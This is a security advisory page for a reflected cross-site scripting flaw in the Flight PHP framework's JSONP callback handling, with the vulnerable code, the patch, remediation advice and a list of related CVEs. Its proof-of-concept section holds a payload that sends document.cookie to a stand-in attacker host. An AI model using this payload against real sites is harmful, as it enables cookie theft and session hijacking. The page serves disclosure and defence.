Flight PHP CVE-2026-42548
HIGHSeverity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
5DescriptionGitHub Advisory
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context - cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
AnalysisAI
Reflected cross-site scripting in Flight PHP framework's JSONP endpoint implementation allows remote attackers to execute arbitrary JavaScript in victim browsers by injecting malicious code through unvalidated callback parameters. Flight PHP versions prior to 3.18.1 concatenate user-supplied jsonp query parameters directly into JavaScript responses without identifier validation, enabling cookie theft and session hijacking when vulnerable endpoints are embedded via script tags. The vulnerability was patched in version 3.18.1 (commit b8dd23a) with regex validation limiting callbacks to legal JavaScript identifiers. A working proof-of-concept demonstrates cookie exfiltration via crafted callback parameters.
Technical ContextAI
The vulnerability exists in the Flight PHP micro-framework's JSONP (JSON with Padding) implementation, specifically in the _jsonp() method within flight/Engine.php. JSONP is a legacy cross-domain communication technique that wraps JSON responses in a JavaScript function callback, served with application/javascript content type to bypass same-origin policy. The flaw is a classic example of CWE-79 (Improper Neutralization of Input During Web Page Generation) where the framework extracts the callback name from the jsonp query parameter via $this->request()->query[$param] and directly concatenates it into the response body as $callback . '(' . $json . ');' without any validation that the value is a legal JavaScript identifier. This string concatenation approach creates an injection point where semicolons, function definitions, and comment delimiters can be used to break out of the intended callback structure and inject arbitrary JavaScript code that executes when the response is loaded as a script resource.
RemediationAI
Upgrade to Flight PHP version 3.18.1 or later, which implements callback name validation using the regex pattern ^[A-Za-z_$][\w$.]{0,127}$ to ensure only legal JavaScript identifiers are accepted. The patch is available via composer update or directly from the GitHub repository at commit b8dd23a (https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4). If immediate upgrade is not feasible, implement a temporary workaround by wrapping all Flight::jsonp() calls with custom validation logic that rejects callback parameters containing characters outside the set [A-Za-z0-9_$.] or exceeding 128 characters, though this adds maintenance overhead and may not match the vendor's exact validation logic. Alternatively, disable JSONP endpoints entirely if they are not actively used by legacy clients, replacing them with modern CORS-enabled JSON endpoints that eliminate the injection vector entirely; note that this requires client-side code changes to handle standard JSON responses instead of script-tag loading. For defense in depth, set HttpOnly and SameSite=Strict flags on session cookies to limit the impact of successful XSS exploitation, though this does not prevent exfiltration of authenticated API data or DOM-based attacks.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-fcx8-ph5r-mxr4